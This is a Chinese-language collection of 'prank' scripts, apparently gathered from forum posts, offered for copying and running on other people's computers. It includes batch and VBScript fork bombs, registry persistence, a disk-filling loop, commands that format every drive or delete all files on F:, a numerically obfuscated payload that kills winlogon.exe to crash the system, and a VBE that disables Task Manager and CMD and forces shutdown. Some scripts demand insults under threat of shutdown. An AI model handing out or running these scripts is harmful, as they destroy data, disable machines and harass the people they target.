整人代码大全可复制(整人代码大全可复制手机)
bat整人代码
注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！
@echo off
echo 开始
:2
start cmd.exe
goto 2
就是主要是利用goto 来跳转到:2
循环跳转...就是循环用start 打开CMD ^^
友情提示...死机不负责.......
也可以利用
别的
@echo off
net user
%0
这里的核心是%0 他表示本身 就是循环运行本身^^
这里循环运行net user
上面主要把别人电脑整死机
下面我们利用修改注册表来恶整
常见修改注册表
就是开机加载 这世界人都知道
@echo off
echo wahaha
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)
这里可以添加一个开始我们弄的哪个strat 这个
@echo off
echo echo 开始 c:\windows\cnhacker.bat
echo :2 c:\windows\cnhacker.bat
echo start cmd.exe c:\windows\cnhacker.bat
echo goto 2c:\windows\cnhacker.bat
这里自动在windows下生成cnhacker.bat
然后利用上面开机加载 写起...就OK拉
修改IE栏
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f
屏蔽修改主页那里
reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
简单硬盘炸弹(多生成垃圾文章)
echo off
set a=0
:22
set /a a=%a%+1
echo laji C:\%a%.txt
goto 22
如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件
修改不电脑显示
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
把00000000 改成00000001 就可以恢复
这段大家不要实验......
就是利用%username%
net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)
造成你电脑上面ADMINISTRATOR桌面资料丢失
net user %username% /add
NET LOCALGROUP ADMINISTRATORS %username% /add
强行结束smss.exe 进程
ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)
shutdown -a (放弃关闭计算机)
危险不要实验
迅速格式所有盘符
for /f %%i in (d:,e:f:g:h:) do format /q /y %%i
这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行
这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~
颜色属性由两个十六进制数字指定 --
第一个为背景，第二个则为前景。
每个数字可以为以下任何值之一:
例如color 0d 它就是黑色背景 淡紫色字体
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
vbs整人代码（要可以用的） 我直接COPY到记事本里，所以别打错了。
---------------------------------------------------------------------
代码:
Set ws=WScript.CreateObject("WScript.Shell")
ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64
ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64
wscript.sleep 100000
ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10
ws.popup"正在下载windows更新……",12
wscript.sleep 10000
ws.popup"windows更新已下载完毕，正在安装更新……",12
wscript.sleep 3000
msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"
msgbox"软件名：comcontroler.exe "vbcrlf""vbcrlf" 大小：1.21MB "vbcrlf""vbcrlf" 发行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全状况：有病毒",vbinformation
msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"
msgbox"阻止失败，请检查防火墙是否开启"
wscript.sleep 15000
ws.popup"windows更新安装成功！",vbinfmation,20
msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation
ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64
ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10
ws.run""
msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation
ws.popup"我再打开中国神泣官方网站",10
ws.run""
ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20
ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！"
ws.run "notepad",3 : wscript.sleep 2000
verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")
---------------------------------------------------------------------
代码2:
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上100下哦，不过会给你惊喜滴")
WScript.Echo("还剩100下，快点点哦")
WScript.Echo("还剩99下，快点，小笨蛋！")
WScript.Echo("还剩98下对，就这样快点点！")
WScript.Echo("还剩97下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩96下，记得要快哦！")
WScript.Echo("还剩95下")
WScript.Echo("还剩94下")
WScript.Echo("还剩93下")
WScript.Echo("还剩92下")
WScript.Echo("还剩91下")
WScript.Echo("还剩90下")
WScript.Echo("还剩89下")
WScript.Echo("还剩88下")
WScript.Echo("还剩87下")
WScript.Echo("还剩86下")
WScript.Echo("还剩85下")
WScript.Echo("还剩84下")
WScript.Echo("还剩83下")
WScript.Echo("还剩82下")
WScript.Echo("还剩81下")
WScript.Echo("还剩80下")
WScript.Echo("还剩79下")
WScript.Echo("还剩78下")
WScript.Echo("还剩77下")
WScript.Echo("还剩76下")
WScript.Echo("还剩75下")
WScript.Echo("还剩74下")
WScript.Echo("还剩73下")
WScript.Echo("还剩72下")
WScript.Echo("还剩71下")
WScript.Echo("还剩70下")
WScript.Echo("还剩69下")
WScript.Echo("还剩68下")
WScript.Echo("还剩67下")
WScript.Echo("还剩66下")
WScript.Echo("还剩65下")
WScript.Echo("还剩64下")
WScript.Echo("还剩63下")
WScript.Echo("还剩62下")
WScript.Echo("还剩61下")
WScript.Echo("还剩60下")
WScript.Echo("还剩59下")
WScript.Echo("还剩58下")
WScript.Echo("还剩57下")
WScript.Echo("还剩56下")
WScript.Echo("还剩55下")
WScript.Echo("还剩54下")
WScript.Echo("还剩53下")
WScript.Echo("还剩52下")
WScript.Echo("还剩51下")
WScript.Echo("还剩50下")
WScript.Echo("还剩49下")
WScript.Echo("还剩48下")
WScript.Echo("还剩47下")
WScript.Echo("还剩46下")
WScript.Echo("还剩45下")
WScript.Echo("还剩44下")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩31下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下")
WScript.Echo("还剩12下")
WScript.Echo("还剩11下")
WScript.Echo("还剩10下")
WScript.Echo("还剩9下")
WScript.Echo("还剩8下")
WScript.Echo("还剩7下")
WScript.Echo("还剩6下")
WScript.Echo("还剩5下")
WScript.Echo("还剩4下")
WScript.Echo("还剩3下")
WScript.Echo("还剩2下")
WScript.Echo("还剩1下")
WScript.Echo("还剩0下")
WScript.Echo("哎看你可怜，饶了你吧")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下停停！！！慢点，我有话要说")
WScript.Echo("还剩下，你继续点我就会消失滴")
WScript.Echo("还剩下，以后就看不到我拉。呜呜~555555")
WScript.Echo("还剩下，你现在可以选择停止！")
WScript.Echo("还剩下。你还点啊，不要我拉？")
WScript.Echo("还剩下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩下。疯了，你有点负意！")
WScript.Echo("还剩下。对。你就点吧，我恨你！")
WScript.Echo("还剩下，不明白，删除我你就好吗？")
WScript.Echo("还剩下！真要删除我？")
WScript.Echo("还剩下。可是我真的很眷恋你。。。")
WScript.Echo("还剩下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
---------------------------------------------------------------------
蓝屏代码:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
---------------------------------------------------------------------
掉qq：
taskkill /im qq.exe /f /t
---------------------------------------------------------------------
10秒强制关机（任务管理器无效）：
shutdown -s -t 10
---------------------------------------------------------------------
死机：
start cmd
0%
---------------------------------------------------------------------
设置登录密码为2010：
net user "%username%" 2010
---------------------------------------------------------------------
让电脑只剩一个背景
taskkill /im /f /t explorer.exe
---------------------------------------------------------------------
莫名其妙结束当前程序:
set ws=createobject("wscript.shell")
do
ws.sendkeys "%{f4}"
loop
---------------------------------------------------------------------
不断提示你是猪:
do
msgbox("你是猪")
loop
---------------------------------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说 我是大笨笨！哈哈，不说我就一分钟关你机，不信，试试···我说到做到！"" ",0 ,true
dim a
do while(a "我是大笨蛋！哈哈！我是大肥猪！")
a = inputbox ("说 我是大笨蛋！哈哈！我是大肥猪！,我就不关你的机，快撒，说 ""我是大笨笨！哈哈"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛 猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾 嘎嘎.爽歪歪啊 "
---------------------------------------------------------------------
“我是畜生”:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就20秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是畜生")
a = inputbox ("说我是畜生,就不关机，快撒，说 ""我是畜生"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
---------------------------------------------------------------------
10秒关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true
---------------------------------------------------------------------
刷对话框:
do
msgbox("你被耍了")
loop
---------------------------------------------------------------------
直接关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true
---------------------------------------------------------------------一分钟弹出一次:
do until i=10
i=i+1
msgbox "CPU温度过高，系统出现严重误！",16+4096,"系统提示"
wscript.sleep 1000*60 '时间可以自己改
loop
---------------------------------------------------------------------script language="javascript"
function hr(){
alert('你关不掉的^_^')
hr();
}
/script
body onLoad="hr()"
/body
---------------------------------------------------------------------do while(1)
msgbox "你死定了！"
loop
还有更多的！：
---------------------------------------------------------------------
删除F:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
---------------------------------------------------------------------
不断按下alt+f4 （开什么都关闭……） :
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------
注意：分割线之间为一个代码，复制进TXT文档，另存为.vbs或.vbe，望楼主采纳！！！ Q群：108141490 --村长
qq整人代码
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is
me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
WScript.Echo("30")
WScript.Echo("29")
WScript.Echo("28")
WScript.Echo("呵呵，骗你的，我也累了，88")
WScript.Echo("还是在耍你")
WScript.Echo("你不想活了？")
WScript.Echo("打开这个？")
WScript.Echo("无语中……")
WScript.Echo("嘿。谁让你点确定的？")
WScript.Echo("我还想多耍你一会儿呢！")
WScript.Echo("我准备问你一个问题")
-----------下面别复制--------------------
纯
本
人
设
计
求高手写个VBE整人代码,50分悬赏
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。